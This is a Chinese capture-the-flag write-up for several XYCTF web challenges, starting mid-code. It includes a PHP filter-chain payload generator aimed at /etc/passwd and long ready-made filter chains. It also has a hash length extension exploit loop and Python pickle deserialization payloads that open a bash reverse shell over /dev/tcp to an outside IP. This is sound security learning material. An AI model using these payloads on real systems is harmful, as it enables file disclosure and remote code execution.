    'T' => 'convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500.L4|convert.iconv.ISO_8859-2.ISO-IR-103',
    'U' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.CP1133.IBM932',
    'V' => 'convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB',
    'W' => 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936',
    'X' => 'convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932',
    'Y' => 'convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.iconv.UHC.CP1361',
    'Z' => 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16',
    
    // 小写字母的转换规则
    // 同样使用各种稀奇古怪的字符编码转换组合来混淆数据
    'a' => 'convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE',
    'b' => 'convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE',
    'c' => 'convert.iconv.L4.UTF32|convert.iconv.CP1250.UCS-2',
    'd' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UJIS|convert.iconv.852.UCS2',
    'e' => 'convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UTF16.EUC-JP-MS|convert.iconv.ISO-8859-1.ISO_6937',
    'f' => 'convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213',
    'g' => 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8',
    'h' => 'convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE',
    'i' => 'convert.iconv.DEC.UTF-16|convert.iconv.ISO8859-9.ISO_6937-2|convert.iconv.UTF16.GB13000',
    'j' => 'convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.iconv.CP950.UTF16',
    'k' => 'convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2',
    'l' => 'convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE',
    'm' => 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.CP1163.CSA_T500|convert.iconv.UCS-2.MSCP949',
    'n' => 'convert.iconv.ISO88594.UTF16|convert.iconv.IBM5347.UCS4|convert.iconv.UTF32BE.MS936|convert.iconv.OSF00010004.T.61',
    'o' => 'convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-4LE.OSF05010001|convert.iconv.IBM912.UTF-16LE',
    'p' => 'convert.iconv.IBM891.CSUNICODE|convert.iconv.ISO8859-14.ISO6937|convert.iconv.BIG-FIVE.UCS-4',
    'q' => 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.GBK.CP932|convert.iconv.BIG5.UCS2',
    'r' => 'convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.ISO-IR-99.UCS-2BE|convert.iconv.L4.OSF00010101',
    's' => 'convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90',
    't' => 'convert.iconv.864.UTF32|convert.iconv.IBM912.NAPLPS',
    'u' => 'convert.iconv.CP1162.UTF32|convert.iconv.L4.T.61',
    'v' => 'convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT|convert.iconv.ISO_6937-2:1983.R9|convert.iconv.OSF00010005.IBM-932',
    'w' => 'convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE',
    'x' => 'convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS',
    'y' => 'convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT',
    'z' => 'convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937'
);

// 初始化过滤链,首先进行base64编码
$filters = "convert.base64-encode|";
$filters .= "convert.iconv.UTF8.UTF7|";

// 遍历反转后的base64_payload中的每个字符
foreach (str_split(strrev($base64_payload)) as $c) {
    // 为每个字符添加对应的转换规则链
    $filters .= $conversions[$c] . "|";
    
    // 添加base64解码和编码步骤,用于进一步混淆数据
    $filters .= "convert.base64-decode|";
    $filters .= "convert.base64-encode|";
    
    // 添加UTF8到UTF7的转换,继续混淆数据
    $filters .= "convert.iconv.UTF8.UTF7|";
}

// 最后添加base64解码完成整个转换链
$filters .= "convert.base64-decode";

// 构建最终payload,使用php://filter协议和构建的过滤链读取/etc/passwd文件

$final_payload = "php://filter/{$filters}/resource=/etc/passwd";

var_dump($final_payload);

运行后打payload然后就可以执行命令cmd=system(’/readflag’);

image-20250423094358757

此方法没上个方法简洁,但是字母映射表很全所以记录一下。

连连看到底是连连什么看

这个题跟上面的题一样,可以用上面的官方脚本进行构造内容改成XYCTF的base64编码就行,当然此题还可以利用其它工具,不过源码和上面原理差不多。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
<?php
highlight_file(__FILE__);
error_reporting(0);

$p=$_GET['p'];

if(preg_match("/http|=|php|file|:|\/|\?/i", $p))
{
    die("waf!");
}

$payload="php://filter/$p/resource=/etc/passwd";

if(file_get_contents($payload)==="XYCTF"){
    echo file_get_contents('/flag');
}

打php_filter_chain

GitHub - synacktiv/php_filter_chain_generator

1
python php_filter_chain_generator.py --chain 'XYCTF'
image-20250423112149076

直接打XYCTF不行,因为比较是强比较,而这个转换后会有垃圾字符,这时候利用<配合string.strip_tags过滤器剔除垃圾字符,即剔除<后面的所有垃圾字符。

1
python php_filter_chain_generator.py --chain "XYCTF<"
image-20250423112412272
1
2
p=convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.iconv.UHC.CP1361|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM860.UTF16|convert.iconv.ISO-IR-143.ISO2022CNEXT|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode|string.strip_tags
    

也可以用这个项目跑https://github.com/wupco/PHP_INCLUDE_TO_SHELL_CHAR_DICT?tab=readme-ov-file,下面分享的探姬文章讲的很好

1
p=convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UTF16|convert.iconv.L6.UTF-16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.iconv.UHC.CP1361|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM860.UTF16|convert.iconv.ISO-IR-143.ISO2022CNEXT|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode|string.strip_tags
image-20250423112522632

XYCTF2024wp | HvAng’s Nests

下面探姬大佬的文章对上面2题都讲了一下,还算详细

‌⁠‍⁠‍‍‌‍‬‬‍‬⁠‍⁠【idekCTF 2022】Paywall — Filter链构造和扩展 - 飞书云文档

单论做而言其实我感觉着两个项目讲的有点多余了,上面ezLFl的代码就可以解决,但是这里还是又学习一下这个filter链,顺便用了一下这两个项目。

give me flag

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
<?php
include('flag.php');
$FLAG_md5 = md5($FLAG);
if(!isset($_GET['md5']) || !isset($_GET['value']))
{
    highlight_file(__FILE__);
    die($FLAG_md5);
}

$value = $_GET['value'];
$md5 = $_GET['md5'];
$time = time();

if(md5($FLAG.$value.$time)===$md5)
{
    echo "yes, give you flag: ";
    echo $FLAG;
}
48260abecbc53b255f3fdb8f39c4b489

打一个哈希拓展延伸,以前写过了Basectf-所有web-wp-CSDN博客,这里所以你说你懂 MD5?详细讲了此题

设一个不知道内容的字符串a,我们知道a字符串md5 值和a的长度和已知b的一部分(拓展字符,若没用提供也没关系,但提供了就要考虑进去计算,否则计算出的不是原b字符),就可以算出(a+b)的md5值,这里a就是FLAG,b就是value.time。

这里拓展字符是时间戳,这个time()时间戳是动态的怎么处理?其实只需要要计算当前的时间戳,然后往上加个几十秒(这段时间供你填参数),然后写代码,持续发送请求即可。

计算当前时间戳

1
2
3
<?php
$time=time();
echo $time;

哈希长度拓展工具代码,这个需要私包

GitHub - shellfeel/hash-ext-attack: 哈希长度扩展攻击利用脚本,免去了hashpump需要编译的烦恼下载后与此代码放同一目录即可运行

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
import sys

from loguru import logger

from common.HashExtAttack import HashExtAttack

def main():
    hash_ext_attack = HashExtAttack()

    logger.remove()
    logger.add(sys.stderr, level="INFO")
    hash_ext_attack.input_run()

if __name__ == '__main__':
    main()

参数就这个(flag是uuid模式就是36+XYCTF{}7个字符就是43),当时时间戳是1745397600,我填的1745397700,留足够的时间填参数

image-20250423164118396

注意value不要带上时间戳time().

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
import  requests

url = "http://gz.imxbt.cn:20206/?value=%80%00%00%00%00%00%00%00%00%00%00%00%00X%01%00%00%00%00%00%00&md5=d0d430dc54fd23b970fb394cee49caa8"

while True:
    res=requests.get(url)

    if"XYCTF" in res.text:
        print(res.text)
        break
image-20250423164429272

login

目录扫描得到register.php

注册一个账号后,然后登入抓包,发现了base64编码的数据,有很多A字符

image-20250423184735126

解码发现存有用户信息且发现环境是python,那就是打pickle反序列化

image-20250423185040786

存在过滤(好像是r被过滤,reduce打不了),普通打法打不了,用 opcode 加反弹shell来rce

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
import base64
import requests

shell = b'''bash -c "bash -i >& /dev/tcp/101.200.39.193/5000 0<&1"'''  # 反弹shell语句

url = "http://gz.imxbt.cn:20243/"

payload = b'''(ctimeit
timeit
(cos
system
V''' + shell + b'''
oo.'''

payload = base64.b64encode(payload).decode()

header = {"Cookie": "RememberMe=" + payload}
r = requests.get(url, headers=header)

当然有最简版本

1
2
3
4
5
6
7
import base64
a = b'''(cos
system
S'bash -c "bash -i >& /dev/tcp/[ip]/2333 0>&1"'
o.
'''
print(base64.b64encode(a).decode())

pickle反序列化初探-先知社区

最近碰到的 Python pickle 反序列化小总结-先知社区

Baby_Unserialize

看不懂,java都没学,留几篇文章在这吧

‌⁠‌‍‌‌⁠⁠⁠‍‌‬‌‍‌⁠‌‍‌⁠探索Java反序列化绕WAF新姿势 - 飞书云文档

【Web】2024XYCTF题解(全)_xyctf2024-CSDN博客

XYCTF2024-Web方向题解-CSDN博客

谢谢观看